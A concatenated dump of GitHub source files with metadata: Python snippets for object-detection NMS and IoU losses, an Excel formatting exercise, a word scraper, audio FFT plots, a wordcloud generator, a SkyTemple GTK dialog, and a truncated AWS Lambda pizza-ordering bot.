0]\n x1 = dets[:, 1]\n y2 = dets[:, 2]\n x2 = dets[:, 3]\n scores = sc\n areas = (x2 - x1 + 1) * (y2 - y1 + 1)\n\n for i in range(N):\n # intermediate parameters for later parameters exchange\n tBD = dets[i, :].copy()\n tscore = scores[i].copy()\n tarea = areas[i].copy()\n pos = i + 1\n\n #\n if i != N-1:\n maxscore = np.max(scores[pos:], axis=0)\n maxpos = np.argmax(scores[pos:], axis=0)\n else:\n maxscore = scores[-1]\n maxpos = 0\n if tscore < maxscore:\n dets[i, :] = dets[maxpos + i + 1, :]\n dets[maxpos + i + 1, :] = tBD\n tBD = dets[i, :]\n\n scores[i] = scores[maxpos + i + 1]\n scores[maxpos + i + 1] = tscore\n tscore = scores[i]\n\n areas[i] = areas[maxpos + i + 1]\n areas[maxpos + i + 1] = tarea\n tarea = areas[i]\n\n # IoU calculate\n xx1 = np.maximum(dets[i, 1], dets[pos:, 1])\n yy1 = np.maximum(dets[i, 0], dets[pos:, 0])\n xx2 = np.minimum(dets[i, 3], dets[pos:, 3])\n yy2 = np.minimum(dets[i, 2], dets[pos:, 2])\n\n w = np.maximum(0.0, xx2 - xx1 + 1)\n h = np.maximum(0.0, yy2 - yy1 + 1)\n inter = w * h\n ovr = inter / (areas[i] + areas[pos:] - inter)\n\n # Three methods: 1.linear 2.gaussian 3.original NMS\n if method == 1: # linear\n weight = np.ones(ovr.shape)\n weight[ovr > Nt] = weight[ovr > Nt] - ovr[ovr > Nt]\n elif method == 2: # gaussian\n weight = np.exp(-(ovr * ovr) / sigma)\n else: # original NMS\n weight = np.ones(ovr.shape)\n weight[ovr > Nt] = 0\n\n scores[pos:] = weight * scores[pos:]\n\n # select the boxes and keep the corresponding indexes\n inds = dets[:, 4][scores > thresh]\n keep = inds.astype(int)\n\n return keep\n\n\ndef giou(preds, bbox, eps=1e-7, reduction='mean'):\n '''\n https://github.com/sfzhang15/ATSS/blob/master/atss_core/modeling/rpn/atss/loss.py#L36\n :param preds:[[x1,y1,x2,y2], [x1,y1,x2,y2],,,]\n :param bbox:[[x1,y1,x2,y2], [x1,y1,x2,y2],,,]\n :return: loss\n '''\n ix1 = torch.max(preds[:, 0], bbox[:, 0])\n iy1 = torch.max(preds[:, 1], bbox[:, 1])\n ix2 = torch.min(preds[:, 2], bbox[:, 2])\n iy2 = torch.min(preds[:, 3], bbox[:, 3])\n\n iw = (ix2 - ix1 + 1.0).clamp(0.)\n ih = (iy2 - iy1 + 1.0).clamp(0.)\n\n # overlap\n inters = iw * ih\n\n # union\n uni = (preds[:, 2] - preds[:, 0] + 1.0) * (preds[:, 3] - preds[:, 1] + 1.0) + (bbox[:, 2] - bbox[:, 0] + 1.0) * (\n bbox[:, 3] - bbox[:, 1] + 1.0) - inters + eps\n\n # ious\n ious = inters / uni\n\n ex1 = torch.min(preds[:, 0], bbox[:, 0])\n ey1 = torch.min(preds[:, 1], bbox[:, 1])\n ex2 = torch.max(preds[:, 2], bbox[:, 2])\n ey2 = torch.max(preds[:, 3], bbox[:, 3])\n ew = (ex2 - ex1 + 1.0).clamp(min=0.)\n eh = (ey2 - ey1 + 1.0).clamp(min=0.)\n\n # enclose erea\n enclose = ew * eh + eps\n\n giou = ious - (enclose - uni) / enclose\n\n loss = 1 - giou\n\n if reduction == 'mean':\n loss = torch.mean(loss)\n elif reduction == 'sum':\n loss = torch.sum(loss)\n else:\n raise NotImplementedError\n return loss\n\ndef diou(preds, bbox, eps=1e-7, reduction='mean'):\n '''\n https://github.com/Zzh-tju/DIoU-SSD-pytorch/blob/master/utils/loss/multibox_loss.py\n :param preds:[[x1,y1,x2,y2], [x1,y1,x2,y2],,,]\n :param bbox:[[x1,y1,x2,y2], [x1,y1,x2,y2],,,]\n :param eps: eps to avoid divide 0\n :param reduction: mean or sum\n :return: diou-loss\n '''\n ix1 = torch.max(preds[:, 0], bbox[:, 0])\n iy1 = torch.max(preds[:, 1], bbox[:, 1])\n ix2 = torch.min(preds[:, 2], bbox[:, 2])\n iy2 = torch.min(preds[:, 3], bbox[:, 3])\n\n iw = (ix2 - ix1 + 1.0).clamp(min=0.)\n ih = (iy2 - iy1 + 1.0).clamp(min=0.)\n\n # overlaps\n inters = iw * ih\n\n # union\n uni = (preds[:, 2] - preds[:, 0] + 1.0) * (preds[:, 3] - preds[:, 1] + 1.0) + (bbox[:, 2] - bbox[:, 0] + 1.0) * (\n bbox[:, 3] - bbox[:, 1] + 1.0) - inters\n\n # iou\n iou = inters / (uni + eps)\n\n # inter_diag\n cxpreds = (preds[:, 2] + preds[:, 0]) / 2\n cypreds = (preds[:, 3] + preds[:, 1]) / 2\n\n cxbbox = (bbox[:, 2] + bbox[:, 0]) / 2\n cybbox = (bbox[:, 3] + bbox[:, 1]) / 2\n\n inter_diag = (cxbbox - cxpreds) ** 2 + (cybbox - cypreds) ** 2\n\n # outer_diag\n ox1 = torch.min(preds[:, 0], bbox[:, 0])\n oy1 = torch.min(preds[:, 1], bbox[:, 1])\n ox2 = torch.max(preds[:, 2], bbox[:, 2])\n oy2 = torch.max(preds[:, 3], bbox[:, 3])\n\n outer_diag = (ox1 - ox2) ** 2 + (oy1 - oy2) ** 2\n\n diou = iou - inter_diag / outer_diag\n diou = torch.clamp(diou, min=-1.0, max=1.0)\n\n diou_loss = 1 - diou\n\n if reduction == 'mean':\n loss = torch.mean(diou_loss)\n elif reduction == 'sum':\n loss = torch.sum(diou_loss)\n else:\n raise NotImplementedError\n return loss\n\ndef bbox_overlaps_ciou(bboxes1, bboxes2):\n rows = bboxes1.shape[0]\n cols = bboxes2.shape[0]\n cious = torch.zeros((rows, cols))\n if rows * cols == 0:\n return cious\n exchange = False\n if bboxes1.shape[0] > bboxes2.shape[0]:\n bboxes1, bboxes2 = bboxes2, bboxes1\n cious = torch.zeros((cols, rows))\n exchange = True\n\n w1 = bboxes1[:, 2] - bboxes1[:, 0]\n h1 = bboxes1[:, 3] - bboxes1[:, 1]\n w2 = bboxes2[:, 2] - bboxes2[:, 0]\n h2 = bboxes2[:, 3] - bboxes2[:, 1]\n\n area1 = w1 * h1\n area2 = w2 * h2\n\n center_x1 = (bboxes1[:, 2] + bboxes1[:, 0]) / 2\n center_y1 = (bboxes1[:, 3] + bboxes1[:, 1]) / 2\n center_x2 = (bboxes2[:, 2] + bboxes2[:, 0]) / 2\n center_y2 = (bboxes2[:, 3] + bboxes2[:, 1]) / 2\n\n inter_max_xy = torch.min(bboxes1[:, 2:],bboxes2[:, 2:])\n inter_min_xy = torch.max(bboxes1[:, :2],bboxes2[:, :2])\n out_max_xy = torch.max(bboxes1[:, 2:],bboxes2[:, 2:])\n out_min_xy = torch.min(bboxes1[:, :2],bboxes2[:, :2])\n\n inter = torch.clamp((inter_max_xy - inter_min_xy), min=0)\n inter_area = inter[:, 0] * inter[:, 1]\n inter_diag = (center_x2 - center_x1)**2 + (center_y2 - center_y1)**2\n outer = torch.clamp((out_max_xy - out_min_xy), min=0)\n outer_diag = (outer[:, 0] ** 2) + (outer[:, 1] ** 2)\n union = area1+area2-inter_area\n u = (inter_diag) / outer_diag\n iou = inter_area / union\n with torch.no_grad():\n arctan = torch.atan(w2 / h2) - torch.atan(w1 / h1)\n v = (4 / (math.pi ** 2)) * torch.pow((torch.atan(w2 / h2) - torch.atan(w1 / h1)), 2)\n S = 1 - iou\n alpha = v / (S + v)\n cious = iou - (u + alpha * v)\n cious = torch.clamp(cious,min=-1.0,max = 1.0)\n cious_loss=1-cious\n if reduction == 'mean':\n loss = torch.mean(cious_loss)\n elif reduction == 'sum':\n loss = torch.sum(cious_loss)\n else:\n raise NotImplementedError\n return cious_loss\n\nif __name__ == \"__main__\":\n soft_nms(results[j], Nt=0.5, method=2)","repo_name":"wucng/toolsmall","sub_path":"toolsmall/tools/nms/py_cpu_nms.py","file_name":"py_cpu_nms.py","file_ext":"py","file_size_in_byte":12728,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"37562730577","text":"import openpyxl as opx\nimport re\n\nwp1 = r'D:\\BaiduNetdiskWorkspace\\Super_coder\\O03_Office_Auto_My_code\\Excel_001_读写excel\\a\\test1637828640.xlsx'\n\nwb1 = opx.load_workbook(wp1)\nws4 = wb1['4号']\n\nws4.move_range(\"A1:C3\",rows=2,cols=1)\n\n# 在某个excel的第一个sheet页第五列后面删除1列\nws4.delete_cols(\"C1\",1)\n\n# 设置第一行高30,第一列宽15\nws4.row_dimensions[1].height = 40\nws4.column_dimensions['A'].height = 15\n\n# 第一行均为双实线对象,第二行及一下所有内部边框均为单实线黑色\nside_double = opx.styles.Side(style='double',color='000000') # \nside_thin = opx.styles.Side(style='thin',color='000000')\n\nborder_header = opx.styles.Border(top='side_double',bottom='side_double',left='side_double',right='side_double')\nborder_content=opx.style.Border(top='side_thin',bottom='side_thin',left='side_thin',right='side_thin')\n\nfor i in ws4['A1:J1']:\n for c in i:\n c.border = border_header\n\nfor j in ws4['A2:J10']:\n for c in j:\n c.border = border_content\n# 获取第2列1、3、5、7行的数据\nfor k in range(1,8,2):\n # print(ws4['k:2'].value)\n print(ws4.cell(row=i,column=2).value)\n\n# 标题加粗 22号 微软雅黑;正文:宋体 11号;重点:红色加粗倾斜单下划线11号字体\nfont_header = opx.styles.Font(name=u\"微软雅黑\",size=22,bold=True)\nfor i in ws4['A1:J1']:\n for c in i:\n c.font = font_header\n\nfont_content = opx.styles.Font(name=u\"宋体\",size=11)\nfont_remark = opx.styles.Font(bold=True,color=\"FF0000\",underline = \"single\",italic=True)\n\n# 1.让标题水平垂直居中且自动换行;2.让正文自动换行\nali1 = opx.styles.Alignment(horizontal='center',vertical='center',wrap_text=True)\nfor i in ws4['A1:J1']:\n for c in i:\n c.alignment = ali1\n\nali2 = opx.styles.Alignment(wrap_text=True)\n\n# 批量修改工作表的名称 将新建100张工作表01.xlsx中第1-100天工作表名改为1-100月\nwss1 = wb1.worksheets\nfor i in wss1:\n i.title=\"\"\n\n# 给单元格A1做“已完成”批注\nnote1 = opx.comments.Comment(\"已完成\",\"lzj\")\nws4['A1'].comment = note1\n\n# 合并A3-B3单元格,取消合并C1-D1单元格\nws4.merge_cells('A3:B3')\nws4.unmerge_cells('C1:D1')\n\n# 求第三行所有数字之和并将结果写入第三行最后一列\nsum1 = \"=SUM(A3:J3)\"\nws4['G3'].value = sum1\n\n# 获取每一行、每一列\nfor i in ws4.rows:\n for c in i:\n print(c.value)\n\nfor j in ws4.columns:\n for c in j:\n print(c.value)\n\nwb1.save(wp1)\n","repo_name":"T-Better/SoftTest","sub_path":"B01_02 常用Python包学习/B01_02 10 Python_Excel/练习/2022/移动1-3列1-3行向下移动两行向右移动一列_v202112081308.py","file_name":"移动1-3列1-3行向下移动两行向右移动一列_v202112081308.py","file_ext":"py","file_size_in_byte":2476,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"37"} +{"seq_id":"18269442641","text":"import requests\nimport sys\nimport plyvel\nimport time\n\ndb = plyvel.DB('idioms_and_phrases', create_if_missing=True)\n\ni = 0 \ncount = 0\nstart = 36872 \nwith open(sys.argv[1], 'r') as fin:\n lines = [ x.strip() for x in fin.readlines() ][1:]\n for line in lines:\n fields = line.split('\\t')\n base_url = \"http://www.xobdo.org//xdic/a_tab_fj.php?w=\" + fields[1] + \"&l=2\"\n #base_url = \"http://www.xobdo.org//xdic/a_tab_examples.php?w=\" + fields[1] + \"&l=2\"\n \n if int(fields[0]) < start:\n continue\n\n try:\n \n r = requests.get(base_url)\n db.put( bytes(fields[0], 'utf-8'), bytes(r.text, 'utf-8'))\n\n #data = db.get(bytes(fields[0], 'utf-8'))\n\n #print(r.text)\n print('added ', fields[0])\n except:\n print('missing ', fields[0])\n pass\n \n \n i = i + 1\n if i%50 == 0:\n time.sleep(5) \n # break\n\ndb.close()\n\n\n","repo_name":"kishori82/LuitPad","sub_path":"utilities/getwords.py","file_name":"getwords.py","file_ext":"py","file_size_in_byte":961,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"71625300908","text":"import numpy as np\nfrom numpy import sin, linspace, pi\nfrom scipy.io.wavfile import read,write\nfrom scipy import fft, arange, ifft\nimport matplotlib.pyplot as plt\nfrom pylab import plot, show, title, xlabel, ylabel\n\ndef leerAudio(audio):\n\trate,info=read(audio)\n\tdimension = info[0].size\n\tif dimension==1:\n\t data = info\n\telse:\n\t data = info[:,dimension-1]\n\n\treturn data, rate\n\n\ndef plotTime(data, rate):\n\tlarge = len(data)\n\tT = large/rate \n\tt = linspace(0,T,large) \t\t\t#linspace(start,stop,number)\n\ttime1 = plot(t, data)\n\ttitle('Audio')\n\txlabel('Tiempo [s]')\n\tylabel('Amplitud [dB]')\n\treturn time1, t\n\n\ndef plotFrecuece(data, rate):\n\tlarge = len(data)\n\tk = arange(large)\n\tT = large/rate\n\tfrq = k/T\n\tY1 = fft(data)\n\tY2 = fft(data)/large\n\tfrq1 = plot(frq,abs(Y1),'c')\n\ttitle('Gráficos de Frecuencia y Spectograma')\n\tylabel('Amplitud de Frecuencia [dB]')\n\txlabel('Frecuencia [Hz]')\n\treturn Y1, frq, large, frq1\n\n\ndef plotFrecueceNormalizada(data, rate, Y, large, frq):\n\tY2 = Y/large\n\tfrq2 = plot(frq,abs(Y2),'c')\n\ttitle('Gráficos de Frecuencia y Spectograma')\n\tylabel('Amplitud de Frecuencia [dB]')\n\txlabel('Frecuencia [Hz]')\n\treturn frq2\n\n\ndef plotTimeAgain(data, rate, Y, t):\n\totro = ifft(Y)\n\ttime2 = plot(t, otro)\n\ttitle('Audio')\n\txlabel('Tiempo [s]')\n\tylabel('Amplitud [dB]')\n\treturn time2\n\ndef plotTimeAgainNormalizado(data, rate, Y, t, large):\n\totro = ifft(Y)/large\n\ttime3 = plot(t, otro)\n\ttitle('Audio')\n\txlabel('Tiempo [s]')\n\tylabel('Amplitud [dB]')\n\treturn time3\n\ndef buscarMayor(lista):\n if lista ==[]:\n return(\"error\")\n elif len(lista) == 1:\n return(lista)\n mayor = 0\n index = 0\n i = 0\n while lista != []:\n primero = lista[0]\n if mayor > primero:\n mayor = mayor\n else:\n mayor =primero\n index = i\n lista = lista[1:]\n i = i+1\n return mayor, index\n\n\ndef truncar(data, rate, Y, indexMayor):\n\taux = Y\n\tb = indexMayor\n\tvmax = len(aux)\n\tcota = vmax * 0.15\n\n\tfor i in range(0, vmax):\n\t\tif i < (b - cota):\n\t\t\taux[i] = 0\n\t\telif i > (b + cota):\n\t\t\taux[i] = 0\n\n\treturn aux\n\n\ndef plotFrqTruncada(aux, frq):\n\tfrq3 = plot(frq,abs(aux),'c')\n\ttitle('Gráfico de Frecuencia Truncado al 15%')\n\tylabel('Magnitud de Frecuencia [dB]')\n\txlabel('Frecuencia [Hz]')\n\treturn frq3\n\n\ndef plotFrqTruncadaNormalizado(aux, frq, large):\n\ttemp = aux/large\n\tfrq4 = plot(frq,abs(temp),'c')\n\ttitle('Gráfico de Frecuencia Truncado al 15%')\n\tylabel('Magnitud de Frecuencia [dB]')\n\txlabel('Frecuencia [Hz]')\n\treturn frq4\n\n\ndef plotTimeTruncado(aux, t):\n\ttemp = ifft(aux)\n\ttime4 = plot(t, temp, 'b')\n\ttitle('Audio Procesado')\n\txlabel('Tiempo [s]')\n\tylabel('Amplitud [dB]')\n\treturn time4\n\n\ndef plotTimeTruncadoNormalizado(aux, t, large):\n\ttemp = ifft(aux)/large\n\ttime5 = plot(t, temp, 'b')\n\ttitle('Audio Procesado')\n\txlabel('Tiempo [s]')\n\tylabel('Amplitud [dB]')\n\treturn time5\n\n\n\n############################################################\n############################################################\n##Funcion Main\n\ndata, rate = leerAudio(\"beacon.wav\")\n\ntime1, t = plotTime(data, rate)\nshow()\n\nY, frq, large, frq1 = plotFrecuece(data, rate)\nshow()\n\nplotFrecueceNormalizada(data, rate, Y, large, frq)\nshow()\n\nplotTimeAgain(data, rate, Y, t)\nshow()\n\nplotTimeAgainNormalizado(data, rate, Y, t, large)\nshow()\n\nmayor, indexMayor = buscarMayor(Y)\n\naux = truncar(data, rate, Y, indexMayor)\n\nplotFrqTruncada(aux, frq)\nshow()\n\nplotFrqTruncadaNormalizado(aux, frq, large)\nshow()\n\nplotTimeTruncado(aux, t)\nshow()\n\nplotTimeTruncadoNormalizado(aux, t, large)\nshow()\n\nwrite(\"audio_truncado.wav\", rate, abs(aux))\n\n","repo_name":"danyrubiano/Redes","sub_path":"Lab1/Lab1.py","file_name":"Lab1.py","file_ext":"py","file_size_in_byte":3580,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"858162089","text":"import os\r\nimport numpy as np\r\n\r\nimport MeCab\r\nfrom wordcloud import WordCloud\r\nimport re\r\n\r\nimport json\r\nimport time\r\nimport collections\r\n\r\nfrom dotenv import load_dotenv\r\n\r\nload_dotenv('.env')\r\n\r\n# SourceHanSans\r\nFONT_PATH = os.environ.get(\"FONT_PATH\")\r\n\r\nTWEETS_DIR = \"tweets/\"\r\nTWEETS_JSON_PATH = TWEETS_DIR + \"tweets.json\"\r\n\r\nUSER_IDS_PATH = \"user_ids.json\"\r\n\r\nWORDCLOUD_TITLE = \"misw-buzzword\"\r\n\r\ndef generate_wordcloud(text):\r\n wc = WordCloud(background_color=\"white\", font_path=FONT_PATH, max_words=1000, max_font_size=300, width=800, height=600)\r\n wc.generate(text)\r\n\r\n wc.to_file(\"{}.png\".format(WORDCLOUD_TITLE))\r\n\r\ndef list_to_string(l):\r\n return ' '.join(l)\r\n\r\ndef get_words_from_text(text):\r\n mecab = MeCab.Tagger(\"-d D:\\Documents\\MeCabDic\")\r\n text_dst = mecab.parse(text)\r\n\r\n lines = text_dst.split('\\n')\r\n lines = lines[0:-2]\r\n\r\n words = []\r\n\r\n for line in lines:\r\n # tabかカンマでsplitする\r\n col = re.split('\\t|,', line)\r\n \r\n if col[1] in [\"形容詞\", \"動詞\",\"名詞\", \"副詞\"]:\r\n words.append(col[0])\r\n \r\n return words\r\n\r\n# 本質的でない単語を除く\r\ndef remove_words(list):\r\n for s in list:\r\n if s.startswith(\"https://\") or s.startswith(\"http://\"):\r\n list.remove(s)\r\n \r\n if s == \"前日比\":\r\n list.remove(s)\r\n elif s == \"https\":\r\n list.remove(s)\r\n elif s == \"t\":\r\n list.remove(s)\r\n elif s == \"co\":\r\n list.remove(s)\r\n elif s == \"t\":\r\n list.remove(s)\r\n elif s == \"ー\":\r\n list.remove(s)\r\n elif s == \"てる\":\r\n list.remove(s)\r\n elif s == \"自分\":\r\n list.remove(s)\r\n elif s == \"て\":\r\n list.remove(s)\r\n elif s == \"の\":\r\n list.remove(s)\r\n elif s == \"それ\":\r\n list.remove(s)\r\n elif s == \"気\":\r\n list.remove(s)\r\n elif s == \"ん\":\r\n list.remove(s)\r\n\r\ndef remove_words_by_counter(list, counter):\r\n max_val = 330\r\n\r\n for s in list:\r\n if counter[s] > max_val:\r\n list.remove(s)\r\n\r\ndef print_counter(counter):\r\n threshold = 80\r\n\r\n for x in counter:\r\n if counter[x] > threshold:\r\n print(\"{}: {}\".format(x, counter[x]))\r\n\r\ndef main():\r\n user_ids_json = open(USER_IDS_PATH, 'r', encoding=\"utf-8\")\r\n user_ids = json.load(user_ids_json)\r\n user_ids_json.close()\r\n\r\n tweets_json = open(TWEETS_JSON_PATH, 'r', encoding=\"utf-8\")\r\n tweets = json.load(tweets_json)\r\n tweets_json.close()\r\n\r\n all_tweets = tweets[\"tweets\"]\r\n\r\n words_to_wc = []\r\n\r\n start_time = time.perf_counter()\r\n\r\n for user in user_ids[\"ids\"]:\r\n if user[\"name\"] in all_tweets:\r\n print(\"Loading {}'s tweets ... ({})\".format(user[\"name\"], len(all_tweets[user[\"name\"]])))\r\n for tweet in all_tweets[user[\"name\"]]:\r\n words_to_wc.extend(get_words_from_text(tweet[\"tweet\"]))\r\n\r\n # time_1 = time.perf_counter()\r\n\r\n print(\"Removing unrelated words ...\")\r\n remove_words(words_to_wc)\r\n\r\n counter = collections.Counter(words_to_wc)\r\n remove_words_by_counter(words_to_wc, counter)\r\n\r\n # time_2 = time.perf_counter()\r\n\r\n print(\"Words to string ...\")\r\n words_str = list_to_string(words_to_wc)\r\n\r\n # time_3 = time.perf_counter()\r\n\r\n print(\"Generating wordcoud ...\")\r\n generate_wordcloud(words_str)\r\n\r\n time_end = time.perf_counter()\r\n\r\n print(\"Done! ({} [sec])\".format(time_end - start_time))\r\n\r\nif __name__ == '__main__':\r\n main()","repo_name":"3kanAlpha/misw-wordcloud","sub_path":"buzzword-2021.py","file_name":"buzzword-2021.py","file_ext":"py","file_size_in_byte":3605,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"43035064731","text":"import random\nfrom MaxSubsequenceSumAndTimer import *\ndef move_zeroes(list):\n zeroes = 0\n for index in range(len(list)-1,-1,-1):\n list[index + zeroes] = list[index]\n if(list[index] == 0):\n zeroes+=1\n \n for x in range(zeroes):\n list[x] = 0\n return list\n\ndef reverse_vowels(string):\n vowels = \"aeiou\"\n string = list(string)\n vowelList = []\n locationList = []\n for index in range(len(string)):\n if(string[index] in vowels):\n vowelList.append(string[index])\n locationList.append(index)\n vowelList.reverse()\n for x in range(len(locationList)):\n string[locationList[x]] = vowelList[x]\n return \"\".join(string)\n\ndef generateRandomList(n):\n ans = []\n for x in range(n):\n ans.append(random.randint(-1000,1000))\n return ans\n\ndef testTimer():\n test1 = \"N,V1,V2,V3\\n\"\n tests = []\n for x in range(7,13):\n tests.append(generateRandomList(2**x))\n for x in tests:\n timer = PolyTimer()\n maxSubsequenceSum1(x)\n time1 = timer.elapsed()\n timer.reset\n \n maxSubsequenceSum2(x)\n time2 = timer.elapsed()\n timer.reset\n\n maxSubsequenceSum3(x)\n time3 = timer.elapsed()\n timer.reset\n\n test1+=\",\".join([str(len(x)),str(time1),str(time2),str(time3)])+\"\\n\"\n print(test1)\n\ntestTimer() \n#print(reverse_vowels(\"tandon\"))\n#print(move_zeroes([1,2,0,3,0,4,5]))\n","repo_name":"jijiglobe/Data-Structures-Work","sub_path":"Data structures work/lab3/lab3.py","file_name":"lab3.py","file_ext":"py","file_size_in_byte":1462,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"14706308896","text":"from typing import Dict, Optional, Callable, Mapping, List, cast\n\nfrom gi.repository import Gtk\nfrom gi.repository.Gtk import TreeModelRow\nfrom range_typed_integers import u16_checked, u16\nfrom skytemple.core.ui_utils import builder_get_assert, assert_not_none\n\nfrom skytemple_files.common.ppmdu_config.script_data import (\n Pmd2ScriptRoutine,\n Pmd2ScriptData,\n)\nfrom skytemple_files.script.ssa_sse_sss.trigger import SsaTrigger\nfrom skytemple_files.common.i18n_util import f, _\n\n\nclass SsaEventDialogController:\n def __init__(\n self,\n builder: Gtk.Builder,\n main_window: Gtk.Window,\n talk_script_names: Dict[int, str],\n scriptdata: Pmd2ScriptData,\n *,\n edit: Optional[SsaTrigger] = None,\n ):\n self.builder = builder\n self.edit: Optional[SsaTrigger] = edit\n self.new_model: Optional[SsaTrigger] = None\n self.talk_script_names = talk_script_names\n self.scriptdata = scriptdata\n self.window = builder_get_assert(self.builder, Gtk.Dialog, \"dialog_event\")\n self.window.set_transient_for(main_window)\n self.window.set_attached_to(main_window)\n if self.edit is not None:\n try:\n # noinspection PyUnusedLocal\n script_name = self.talk_script_names[self.edit.script_id]\n self.title = (\n f(_(\"Edit {script_name}\"))\n + f\" / {self.scriptdata.common_routine_info__by_id[self.edit.coroutine.id].name}\"\n )\n except KeyError:\n self.title = _(\"Edit Event\")\n else:\n self.title = _(\"New Event\")\n\n def run(self):\n \"\"\"Run the dialog and return the response. If it's OK, the new model can be retrieved via get_event()\"\"\"\n self.window.set_title(self.title)\n # Fill Script IDs Combobox\n script_store = Gtk.ListStore(int, str) # ID, name\n script_store.append([-1, _(\"None\")])\n for sid, sname in self.talk_script_names.items():\n script_store.append([sid, sname])\n script_cb = builder_get_assert(self.builder, Gtk.ComboBox, \"event_script\")\n script_cb.clear()\n self._fast_set_comboxbox_store(script_cb, script_store, 1)\n # Set Script IDs Combobox\n if self.edit:\n self._select_in_combobox_where_callback(\n script_cb, lambda r: assert_not_none(self.edit).script_id == r[0]\n )\n else:\n script_cb.set_active_iter(script_store.get_iter_first())\n # Fill Coroutine Combobox\n routine_store = Gtk.ListStore(int, str) # ID, name\n for routine in self.scriptdata.common_routine_info__by_id.values():\n routine_store.append([routine.id, routine.name])\n routine_cb = builder_get_assert(self.builder, Gtk.ComboBox, \"event_coroutine\")\n routine_cb.clear()\n self._fast_set_comboxbox_store(routine_cb, routine_store, 1)\n # Set Coroutine Combobox\n if self.edit:\n self._select_in_combobox_where_callback(\n routine_cb, lambda r: assert_not_none(self.edit).coroutine.id == r[0]\n )\n else:\n routine_cb.set_active_iter(routine_store.get_iter_first())\n # Clear / Set Unk2\n if self.edit:\n builder_get_assert(self.builder, Gtk.Entry, \"event_unk2\").set_text(\n str(self.edit.unk2)\n )\n else:\n builder_get_assert(self.builder, Gtk.Entry, \"event_unk2\").set_text(\"\")\n # Clear / Set Unk3\n if self.edit:\n builder_get_assert(self.builder, Gtk.Entry, \"event_unk3\").set_text(\n str(self.edit.unk3)\n )\n else:\n builder_get_assert(self.builder, Gtk.Entry, \"event_unk3\").set_text(\"\")\n\n response = self.window.run()\n\n self.window.hide()\n if response == Gtk.ResponseType.OK:\n script_id = script_store[assert_not_none(script_cb.get_active_iter())][0]\n coroutine_id = routine_store[assert_not_none(routine_cb.get_active_iter())][\n 0\n ]\n try:\n unk2 = u16_checked(\n int(\n builder_get_assert(\n self.builder, Gtk.Entry, \"event_unk2\"\n ).get_text()\n )\n )\n except (ValueError, OverflowError):\n unk2 = u16(0)\n try:\n unk3 = u16_checked(\n int(\n builder_get_assert(\n self.builder, Gtk.Entry, \"event_unk3\"\n ).get_text()\n )\n )\n except (ValueError, OverflowError):\n unk3 = u16(0)\n self.new_model = SsaTrigger(\n self.scriptdata, coroutine_id, unk2, unk3, script_id\n )\n return response\n\n def get_event(self) -> Optional[SsaTrigger]:\n \"\"\"Returns the new model with the data from the dialog.\"\"\"\n return self.new_model\n\n @staticmethod\n def _fast_set_comboxbox_store(cb: Gtk.ComboBox, store: Gtk.ListStore, col):\n cb.set_model(store)\n renderer_text = Gtk.CellRendererText()\n cb.pack_start(renderer_text, True)\n cb.add_attribute(renderer_text, \"text\", col)\n\n def _select_in_combobox_where_callback(\n self, cb: Gtk.ComboBox, callback: Callable[[TreeModelRow], bool]\n ):\n l_iter = cb.get_model().get_iter_first()\n while l_iter is not None:\n m = cast(Gtk.ListStore, assert_not_none(cb.get_model()))\n if callback(m[l_iter]):\n cb.set_active_iter(l_iter)\n return\n l_iter = cb.get_model().iter_next(l_iter)\n","repo_name":"SkyTemple/skytemple","sub_path":"skytemple/module/script/controller/ssa_event_dialog.py","file_name":"ssa_event_dialog.py","file_ext":"py","file_size_in_byte":5793,"program_lang":"python","lang":"en","doc_type":"code","stars":166,"dataset":"github-code","pt":"37"} +{"seq_id":"18636323571","text":"# Definition for singly-linked list.\n# class ListNode:\n# def __init__(self, val=0, next=None):\n# self.val = val\n# self.next = next\nclass Solution:\n def removeNthFromEnd(self, head: Optional[ListNode], n: int) -> Optional[ListNode]:\n f = s = ListNode(-1, head)\n head = f\n \n while n > 0:\n f = f.next\n n -= 1\n \n while f.next:\n f = f.next\n s = s.next\n \n s.next = s.next.next\n \n return head.next","repo_name":"Mihir-1/LeetCode-Algorithms","sub_path":"0019-remove-nth-node-from-end-of-list/19-remove-nth-node-from-end-of-list.py","file_name":"19-remove-nth-node-from-end-of-list.py","file_ext":"py","file_size_in_byte":531,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"8751033495","text":"#aws lambda code for OrderPizza chatbot\nimport json\nimport datetime\nimport time\n\ndef validate(slots):\n\n valid_pizzatype = ['veg','non veg']\n valid_pizzasize = ['regular','medium','large']\n valid_pizzacrust = ['thin','cheese burst','thick']\n \n if not slots['Name']:\n return {\n 'isValid': False,\n 'violatedSlot': 'Name'\n } \n \n if not slots['PizzaType']:\n return {\n 'isValid': False,\n 'violatedSlot': 'PizzaType'\n } \n \n if slots['PizzaType']['value']['originalValue'].lower() not in valid_pizzatype:\n \n return {\n 'isValid': False,\n 'violatedSlot': 'PizzaType',\n 'message': 'We currently serve only {} pizza.'.format(\", \".join(valid_pizzatype))\n }\n \n if not slots['PizzaSize']:\n \n return {\n 'isValid': False,\n 'violatedSlot': 'PizzaSize',\n }\n \n if slots['PizzaSize']['value']['originalValue'].lower() not in valid_pizzasize:\n \n return {\n 'isValid': False,\n 'violatedSlot': 'PizzaSize',\n 'message': 'We currently serve only {} sized pizza'.format(\", \".join(valid_pizzasize))\n }\n \n if not slots['PizzaCrust']:\n return {\n 'isValid': False,\n 'violatedSlot': 'PizzaCrust'\n }\n \n if slots['PizzaCrust']['value']['originalValue'].lower() not in valid_pizzacrust:\n \n return {\n 'isValid': False,\n 'violatedSlot': 'PizzaCrust',\n 'message': 'We currently serve only {} crust pizza'.format(\", \".join(valid_pizzacrust))\n }\n \n if not slots['PizzaSides']:\n return {\n 'isValid': False,\n 'violatedSlot': 'PizzaSides'\n }\n \n if not slots['DeliveryTime']:\n return {\n 'isValid': False,\n 'violatedSlot': 'DeliveryTime'\n }\n\n return {'isValid': True}\n \ndef lambda_handler(event, context):\n \n # print(event)\n slots = event['sessionState']['intent']['slots']\n intent = event['sessionState']['intent']['name']\n print(event['invocationSource'])\n 